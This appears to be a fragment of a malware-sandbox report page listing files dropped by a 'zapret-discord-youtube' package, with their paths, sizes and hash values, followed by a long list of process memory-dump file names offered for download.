SHA1 16bd7f8f1b205abbc9ea593111c68b3fd924bdd3
SHA512 f369b890582b66c3b28d6cd7e4c921181fcc0f1f4fc028647ac670fc4169c362cbd667d291ffea538bc1e31f98d8774ebcbad55fe97708b42ee8b30232c68f11
SSDEEP 98304:+KqadPF0rKA7IM+wnYIVips0VmliIseO:+luPFonHYIkTWPPO
TLSH
T136F53369E40CAB02E69CC2F9E6A2181AB8F70AE42325C059F45931DFD1C47D1D9D1FEE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ipset-exclude-user.txt

Path C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt
Size 18B
SHA256 19123a22bf1108815c07bda3cda8df282b30bd63e4939949928969c0fd195873
MD5 42ad35639873f78e1b2dc5c1039499df
SHA1 0fe009c7e4f670e759fda4668a8b37904215c9fa
SHA512 1676acc285990e44eb382705e0711fcab7fac79348c541c67bee58a49f3223d8fc61dcb895a7d2dc25ff38dec249268aa64e50c952a214f264b5430f9726a907
MD5 SHA1 SHA512

Submit Download

list-exclude-user.txt

Path C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude-user.txt
Size 20B
SHA256 9d9832f02f42e60be30f94a7a1b051342db0b1b0092c656a7bc10e730d63b234
MD5 1c4db6196bc14ecfdb5ff6f76ad4985d
SHA1 e980cb9c55abe3e5213ffc680d79f75b0b904a50
SHA512 28c56b0a3f42337b04bd7729940c83ec84d8f508f2fcf88567ebc708b09dec312d08074816ea76c48d087975743a6d682597ea7fd276a423fdbc2752bab0e24b
MD5 SHA1 SHA512

Submit Download

list-general-user.txt

Path C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-general-user.txt
Size 51B
SHA256 6c622ab155cf403ab8857f3805be8df7acba8b3d7a700ea19e52699260a5bc7f
MD5 dd8816323e370d2de83d1cf2b838dbf3
SHA1 9a124b838e69880f166f964122614ea8b43ac8ee
SHA512 32ebb345769e88632a06aec89fb6bfd9b833e7f6c496d0b6d1d28954481210ce0372a92eb2a2ac4f55cfdb2f3e73004f47b27d99ffe39929ca2826047d20db54
TLSH
T1B190024647810605505285892545141757B2A8684A505810105D7B15395892956B9AD4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1404-37-0x0000000062800000-0x0000000062813000-memory.dmp

Download

memory/1404-39-0x00007FF90C2D0000-0x00007FF90C5D2000-memory.dmp

Download

memory/1404-20-0x00007FF90C2D0000-0x00007FF90C5D2000-memory.dmp

Download

memory/1404-36-0x0000000100400000-0x000000010043C000-memory.dmp

Download

memory/2532-9-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/2532-3-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/3180-59-0x00000000058A0000-0x0000000005906000-memory.dmp

Download

memory/3180-94-0x00000000076D0000-0x0000000007773000-memory.dmp

Download

memory/3180-101-0x0000000007870000-0x0000000007878000-memory.dmp

Download

memory/3180-100-0x0000000007940000-0x000000000795A000-memory.dmp

Download

memory/3180-99-0x0000000007840000-0x0000000007854000-memory.dmp

Download

memory/3180-98-0x0000000007830000-0x000000000783E000-memory.dmp

Download

memory/3180-97-0x0000000007800000-0x0000000007811000-memory.dmp

Download

memory/3180-96-0x00000000078A0000-0x0000000007936000-memory.dmp

Download

memory/3180-95-0x00000000077D0000-0x00000000077DA000-memory.dmp

Download

memory/3180-93-0x00000000076B0000-0x00000000076CE000-memory.dmp

Download

memory/3180-56-0x0000000004B10000-0x0000000004B46000-memory.dmp

Download

memory/3180-57-0x0000000005180000-0x00000000057A8000-memory.dmp

Download

memory/3180-58-0x0000000005130000-0x0000000005152000-memory.dmp

Download

memory/3180-60-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Download

memory/3180-84-0x000000006FE90000-0x00000000701E4000-memory.dmp

Download

memory/3180-79-0x0000000007410000-0x0000000007486000-memory.dmp

Download

memory/3180-83-0x000000006FD30000-0x000000006FD7C000-memory.dmp

Download

memory/3180-82-0x0000000007670000-0x00000000076A2000-memory.dmp

Download

memory/3180-81-0x00000000074B0000-0x00000000074CA000-memory.dmp

Download

memory/3180-74-0x0000000006110000-0x000000000612E000-memory.dmp

Download

memory/3180-75-0x0000000006140000-0x000000000618C000-memory.dmp

Download

memory/3180-80-0x0000000007B10000-0x000000000818A000-memory.dmp

Download

memory/3180-78-0x0000000006640000-0x0000000006684000-memory.dmp

Download

memory/3180-68-0x0000000005C30000-0x0000000005F84000-memory.dmp

Download

memory/3344-54-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-112-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-107-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-53-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-108-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-55-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-85-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-104-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-110-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-109-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-111-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-51-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-106-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3344-105-0x0000000000770000-0x00000000013C4000-memory.dmp

Download

memory/3912-52-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/3912-40-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/3912-41-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/3912-42-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/3912-2-0x0000000000850000-0x00000000014A4000-memory.dmp

Download

memory/4024-19-0x000001D929080000-0x000001D9290A2000-memory.dmp

Download

memory/4024-5-0x000001D926EB0000-0x000001D926EC0000-memory.dmp

Download

memory/4024-6-0x000001D926EB0000-0x000001D926EC0000-memory.dmp

Download

memory/4460-77-0x0000000000FE0000-0x0000000001C34000-memory.dmp

Download

memory/4460-73-0x0000000000FE0000-0x0000000001C34000-memory.dmp

Download